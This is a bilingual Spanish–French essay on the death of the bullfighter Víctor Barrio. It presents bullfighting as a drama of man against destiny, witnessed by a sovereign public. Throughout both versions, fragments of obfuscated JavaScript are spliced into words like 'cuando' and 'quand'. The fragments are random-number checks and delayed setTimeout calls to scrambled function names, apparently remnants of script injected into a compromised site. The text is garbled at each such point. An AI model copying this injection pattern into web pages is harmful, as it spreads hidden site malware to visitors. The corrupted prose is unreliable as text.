MUERTE EN LA ARENAMORT DANS L’ARÈNE

La muerte de un torero en la arena es algo más que una muerte individual. Se diría que morimos un poco todos, En la plaza hay tres actores: el toro, el torero y el público. Éste -nosotros- asiste a la corrida por una sola razón: para ver cómo un torero se comporta ante un toro; es decir, para ver cómo un hombre resuelve su destino.

El toro, en el ruedo, no sólo es un animal, es una encarnación lúdica -y real- del destino. Torear es un arte optimista, la demostración de que el hombre puede vencer al destino, y la corrida, una representación antitrágica. Por eso, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el diestro torea, templa la embestida y la somete con arte, con inteligencia o con valor, el público -el coro- celebra su victoria. Y cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando el toro vence al hombre, lo cornea, o peor aún, lo mata, la fiesta se trueca en tragedia: ha vencido el destino.

En la corrida, como en la tragedia griega, lo importante es el público. Más que el héroe que lo representa en el ruedo. Por principio, por solidaridad de la especie, con él se identifica. El torero es el artista heroico que nos cuenta la historia del combate primordial: la lucha del hombre con la naturaleza agresiva, la primera situación límite de su historia, la situación-hombre-en-peligro. De ahí el prestigio mítico del torero, una admiración que, por otra parte, no está exenta de crítica: la identificación del coro con el héroe es una solidaridad condicionada  a su buen hacer. Por eso se designa al público de los toros como el "respetable", el "público soberano".

Y tan soberano es que su crítica tauromáquica se subordina al hecho fuerte, incuestionable, del hombre que se juega la vida y la compromete con su obra. Aquí se asienta la condición heroica del torero. Y cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando muere en la arena, ya sea por un error técnico o por culpa del azar, como aconteció a Víctor Barrio, el sábado pasado en Teruel, siente como propia la muerte de quien le representaba en el ruedo. Sabe el público que el toro del destino termina por matarnos a todos. Y sabe que el toreo se compone de hacer y de azar, que el toreo es hacer la suerte siempre que el azar lo permita. De ahí que la muerte de Víctor nos abrume a todos como una derrota colectiva, como una muerte propia.

La muerte de un torero en el ruedo es una muerte distinta. Es más muerte.

La mort d’un torero dans l’arène est bien plus qu’une mort individuelle. On aurait dit que nous sommes tous un peu morts. Dans les arènes il y a trois acteurs : le toro, le torero et le public. Celui-ci –nous- se rend à la corrida pour une seule raison : pour voir comment un torero se comporte devant un toro ; autrement dit pour voir comment un homme affronte son destin. Le toro, dans l’arène, n’est pas seulement un animal, c’est l’incarnation ludique –et réelle- du destin. Toréer est un art optimiste, la démonstration que l’homme peut vaincre son destin et la corrida une représentation antitragique.

Ainsi, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and le torero torée, il réduit la charge et la soumet à l’aide de l’art, de l’intelligence ou du courage, le public –le choeur- célèbre sa victoire. Et quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and le taureau vainc l’homme, l’encorne ou pire encore le tue, la corrida devient une tragédie : le destin a vaincu.

Lors d’une corrida, comme pour la tragédie grecque, l’important c’est le public. Davantage que le héros qui le représente dans l’arène. Par principe, par solidarité de l’espèce, il s’idenfifie avec lui. Le torero est l’artiste héroïque qui nous raconte l’histoire du combat primordial : le combat de l’homme contre l’agressivité de la nature, la première situation limite dans son histoire, la situation homme en danger. De là le prestige mythique du torero, une admiration qui par ailleurs n’est pas exempte de critique : l’identification du choeur au héros est solidaire à condition qu’il le fasse bien. C’est pourquoi en se référant au public on parle de « respetable » (respectable) et de « public souverain ».

Et il est si souverain que sa critique est subordonnée au fait puissant, incontestable, que l’homme y joue sa vie et la compromet dans son oeuvre. C’est sur quoi s’asseoit le statut héroïque du torero. Et quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il meurt dans l’arène, que ce soit pour une erreur technique ou du fait du hasard, comme cela arriva à Victor Barrio samedi dernier à Teruel, il ressent comme si c’était la sienne celle de l’homme qui le représentait dans l’arène. Le public sait que le toro du destin finit tous par nous emporter. Et il sait que la tauromachie est basée sur l’action et le hasard, que toréer c’est faire la « suerte », mettre la chance de son côté, agir tant qu’elle le permet. De là que la mort de Victor nous plonge tous dans un sentiment de défaite collective, comme un décès qui nous est propre. La mort d’un torero dans l’arène est une mort différente. C’est encore plus la mort.

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